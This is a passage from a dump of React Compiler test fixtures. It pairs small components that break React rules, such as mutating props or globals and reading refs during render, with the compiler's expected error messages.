    "content": "\n## Input\n\n```javascript\nlet renderCount = 0;\n\nfunction NoHooks() {\n  renderCount++;\n  return <div />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::lowerExpression) Support UpdateExpression where argument is a global\n\nerror.mutate-global-increment-op-invalid-react.ts:4:2\n  2 |\n  3 | function NoHooks() {\n> 4 |   renderCount++;\n    |   ^^^^^^^^^^^^^ (BuildHIR::lowerExpression) Support UpdateExpression where argument is a global\n  5 |   return <div />;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-global-increment-op-invalid-react.js",
    "content": "let renderCount = 0;\n\nfunction NoHooks() {\n  renderCount++;\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-hook-argument.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useHook(a, b) {\n  b.test = 1;\n  a.test = 2;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.mutate-hook-argument.ts:2:2\n  1 | function useHook(a, b) {\n> 2 |   b.test = 1;\n    |   ^ value cannot be modified\n  3 |   a.test = 2;\n  4 | }\n  5 |\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.mutate-hook-argument.ts:3:2\n  1 | function useHook(a, b) {\n  2 |   b.test = 1;\n> 3 |   a.test = 2;\n    |   ^ value cannot be modified\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-hook-argument.js",
    "content": "function useHook(a, b) {\n  b.test = 1;\n  a.test = 2;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-property-from-global.expect.md",
    "content": "\n## Input\n\n```javascript\nlet wat = {};\n\nfunction Foo() {\n  delete wat.foo;\n  return wat;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.mutate-property-from-global.ts:4:9\n  2 |\n  3 | function Foo() {\n> 4 |   delete wat.foo;\n    |          ^^^ value cannot be modified\n  5 |   return wat;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-property-from-global.js",
    "content": "let wat = {};\n\nfunction Foo() {\n  delete wat.foo;\n  return wat;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-props.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  props.test = 1;\n  return null;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.mutate-props.ts:2:2\n  1 | function Foo(props) {\n> 2 |   props.test = 1;\n    |   ^^^^^ value cannot be modified\n  3 |   return null;\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-props.js",
    "content": "function Foo(props) {\n  props.test = 1;\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nlet x = {a: 42};\n\nfunction Component(props) {\n  foo(() => {\n    x.a = 10;\n    x.a = 20;\n  });\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.not-useEffect-external-mutate.ts:5:4\n  3 | function Component(props) {\n  4 |   foo(() => {\n> 5 |     x.a = 10;\n    |     ^ value cannot be modified\n  6 |     x.a = 20;\n  7 |   });\n  8 | }\n\nError: This value cannot be modified\n\nModifying a variable defined outside a component or hook is not allowed. Consider using an effect.\n\nerror.not-useEffect-external-mutate.ts:6:4\n  4 |   foo(() => {\n  5 |     x.a = 10;\n> 6 |     x.a = 20;\n    |     ^ value cannot be modified\n  7 |   });\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.not-useEffect-external-mutate.js",
    "content": "let x = {a: 42};\n\nfunction Component(props) {\n  foo(() => {\n    x.a = 10;\n    x.a = 20;\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.propertyload-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = Foo.useFoo;\n  return x();\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.propertyload-hook.ts:2:12\n  1 | function Component() {\n> 2 |   const x = Foo.useFoo;\n    |             ^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 |   return x();\n  4 | }\n  5 |\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.propertyload-hook.ts:3:9\n  1 | function Component() {\n  2 |   const x = Foo.useFoo;\n> 3 |   return x();\n    |          ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.propertyload-hook.js",
    "content": "function Component() {\n  const x = Foo.useFoo;\n  return x();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.expect.md",
    "content": "\n## Input\n\n```javascript\nlet b = 1;\n\nexport default function MyApp() {\n  const fn = () => {\n    b = 2;\n  };\n  return foo(fn);\n}\n\nfunction foo(fn) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `b` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassign-global-fn-arg.ts:5:4\n  3 | export default function MyApp() {\n  4 |   const fn = () => {\n> 5 |     b = 2;\n    |     ^ `b` cannot be reassigned\n  6 |   };\n  7 |   return foo(fn);\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassign-global-fn-arg.js",
    "content": "let b = 1;\n\nexport default function MyApp() {\n  const fn = () => {\n    b = 2;\n  };\n  return foo(fn);\n}\n\nfunction foo(fn) {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const foo = () => {\n    // Cannot assign to globals\n    someUnknownGlobal = true;\n    moduleLocal = true;\n  };\n  foo();\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global-indirect.ts:4:4\n  2 |   const foo = () => {\n  3 |     // Cannot assign to globals\n> 4 |     someUnknownGlobal = true;\n    |     ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned\n  5 |     moduleLocal = true;\n  6 |   };\n  7 |   foo();\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global-indirect.ts:5:4\n  3 |     // Cannot assign to globals\n  4 |     someUnknownGlobal = true;\n> 5 |     moduleLocal = true;\n    |     ^^^^^^^^^^^ `moduleLocal` cannot be reassigned\n  6 |   };\n  7 |   foo();\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global-indirect.js",
    "content": "function Component() {\n  const foo = () => {\n    // Cannot assign to globals\n    someUnknownGlobal = true;\n    moduleLocal = true;\n  };\n  foo();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  // Cannot assign to globals\n  someUnknownGlobal = true;\n  moduleLocal = true;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global.ts:3:2\n  1 | function Component() {\n  2 |   // Cannot assign to globals\n> 3 |   someUnknownGlobal = true;\n    |   ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned\n  4 |   moduleLocal = true;\n  5 | }\n  6 |\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.reassignment-to-global.ts:4:2\n  2 |   // Cannot assign to globals\n  3 |   someUnknownGlobal = true;\n> 4 |   moduleLocal = true;\n    |   ^^^^^^^^^^^ `moduleLocal` cannot be reassigned\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global.js",
    "content": "function Component() {\n  // Cannot assign to globals\n  someUnknownGlobal = true;\n  moduleLocal = true;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\nconst DEFAULT_VALUE = 1;\n\ncomponent C() {\n  const r = useRef(DEFAULT_VALUE);\n  if (r.current == DEFAULT_VALUE) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   6 | component C() {\n   7 |   const r = useRef(DEFAULT_VALUE);\n>  8 |   if (r.current == DEFAULT_VALUE) {\n     |       ^^^^^^^^^ Cannot access ref value during render\n   9 |     r.current = 1;\n  10 |   }\n  11 | }\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   7 |   const r = useRef(DEFAULT_VALUE);\n   8 |   if (r.current == DEFAULT_VALUE) {\n>  9 |     r.current = 1;\n     |     ^^^^^^^^^ Cannot update ref during render\n  10 |   }\n  11 | }\n  12 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\nconst DEFAULT_VALUE = 1;\n\ncomponent C() {\n  const r = useRef(DEFAULT_VALUE);\n  if (r.current == DEFAULT_VALUE) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    f(r);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   5 |   const r = useRef(null);\n   6 |   if (r.current == null) {\n>  7 |     f(r);\n     |       ^ Passing a ref to a function may read its value during render\n   8 |   }\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    f(r);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    f(r.current);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   5 |   const r = useRef(null);\n   6 |   if (r.current == null) {\n>  7 |     f(r.current);\n     |       ^^^^^^^^^ Passing a ref to a function may read its value during render\n   8 |   }\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    f(r.current);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 42;\n    r.current = 42;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   6 |   if (r.current == null) {\n   7 |     r.current = 42;\n>  8 |     r.current = 42;\n     |     ^^^^^^^^^ Cannot update ref during render\n   9 |   }\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 42;\n    r.current = 42;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  const guard = r.current == null;\n  if (guard) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n  4 | component C() {\n  5 |   const r = useRef(null);\n> 6 |   const guard = r.current == null;\n    |                 ^^^^^^^^^^^^^^^^^ Cannot access ref value during render\n  7 |   if (guard) {\n  8 |     r.current = 1;\n  9 |   }\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   5 |   const r = useRef(null);\n   6 |   const guard = r.current == null;\n>  7 |   if (guard) {\n     |       ^^^^^ Cannot access ref value during render\n   8 |     r.current = 1;\n   9 |   }\n  10 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  const guard = r.current == null;\n  if (guard) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  const r2 = useRef(null);\n  if (r.current == null) {\n    r2.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   6 |   const r2 = useRef(null);\n   7 |   if (r.current == null) {\n>  8 |     r2.current = 1;\n     |     ^^^^^^^^^^ Cannot update ref during render\n   9 |   }\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  const r2 = useRef(null);\n  if (r.current == null) {\n    r2.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 1;\n  }\n  f(r.current);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   7 |     r.current = 1;\n   8 |   }\n>  9 |   f(r.current);\n     |     ^^^^^^^^^ Passing a ref to a function may read its value during render\n  10 | }\n  11 |\n  12 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 1;\n  }\n  f(r.current);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 1;\n  }\n  r.current = 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   7 |     r.current = 1;\n   8 |   }\n>  9 |   r.current = 1;\n     |   ^^^^^^^^^ Cannot update ref during render\n  10 | }\n  11 |\n  12 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 1;\n  }\n  r.current = 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback, useRef} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const Ref = useCustomRef();\n\n  const onClick = useCallback(() => {\n    Ref.current?.click();\n  }, []);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `Ref.current`, but the source dependencies were []. Inferred dependency not present in source.\n\nerror.ref-like-name-not-Ref.ts:11:30\n   9 |   const Ref = useCustomRef();\n  10 |\n> 11 |   const onClick = useCallback(() => {\n     |                               ^^^^^^^\n> 12 |     Ref.current?.click();\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^\n> 13 |   }, []);\n     | ^^^^ Could not preserve existing manual memoization\n  14 |\n  15 |   return <button onClick={onClick} />;\n  16 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback, useRef} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const Ref = useCustomRef();\n\n  const onClick = useCallback(() => {\n    Ref.current?.click();\n  }, []);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback, useRef} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const notaref = useCustomRef();\n\n  const onClick = useCallback(() => {\n    notaref.current?.click();\n  }, []);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `notaref.current`, but the source dependencies were []. Inferred dependency not present in source.\n\nerror.ref-like-name-not-a-ref.ts:11:30\n   9 |   const notaref = useCustomRef();\n  10 |\n> 11 |   const onClick = useCallback(() => {\n     |                               ^^^^^^^\n> 12 |     notaref.current?.click();\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 13 |   }, []);\n     | ^^^^ Could not preserve existing manual memoization\n  14 |\n  15 |   return <button onClick={onClick} />;\n  16 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback, useRef} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const notaref = useCustomRef();\n\n  const onClick = useCallback(() => {\n    notaref.current?.click();\n  }, []);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef();\n  return ref?.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.ref-optional.ts:5:9\n  3 | function Component(props) {\n  4 |   const ref = useRef();\n> 5 |   return ref?.current;\n    |          ^^^^^^^^^^^^ Cannot access ref value during render\n  6 | }\n  7 |\n  8 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.js",
    "content": "import {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef();\n  return ref?.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\n\n/**\n * Repro from https://github.com/facebook/react/issues/34262\n *\n * The compiler memoizes more precisely than the original code, with two reactive scopes:\n * - One for `transform(input)` with `input` as dep\n * - One for `{value}` with `value` as dep\n *\n * When we validate preserving manual memoization we incorrectly reject this, because\n * the original memoization had `object` depending on `input` but our scope depends on\n * `value`.\n *\n * This fixture adds a later potential mutation, which extends the scope and should\n * fail validation. This confirms that even though we allow the dependency to diverge,\n * we still check that the output value is memoized.\n */\nfunction useInputValue(input) {\n  const object = React.useMemo(() => {\n    const {value} = transform(input);\n    return {value};\n  }, [input]);\n  mutate(object);\n  return object;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.ts:19:17\n  17 |  */\n  18 | function useInputValue(input) {\n> 19 |   const object = React.useMemo(() => {\n     |                  ^^^^^^^^^^^^^^^^^^^^^\n> 20 |     const {value} = transform(input);\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 21 |     return {value};\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 22 |   }, [input]);\n     | ^^^^^^^^^^^^^^ Could not preserve existing memoization\n  23 |   mutate(object);\n  24 |   return object;\n  25 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.js",
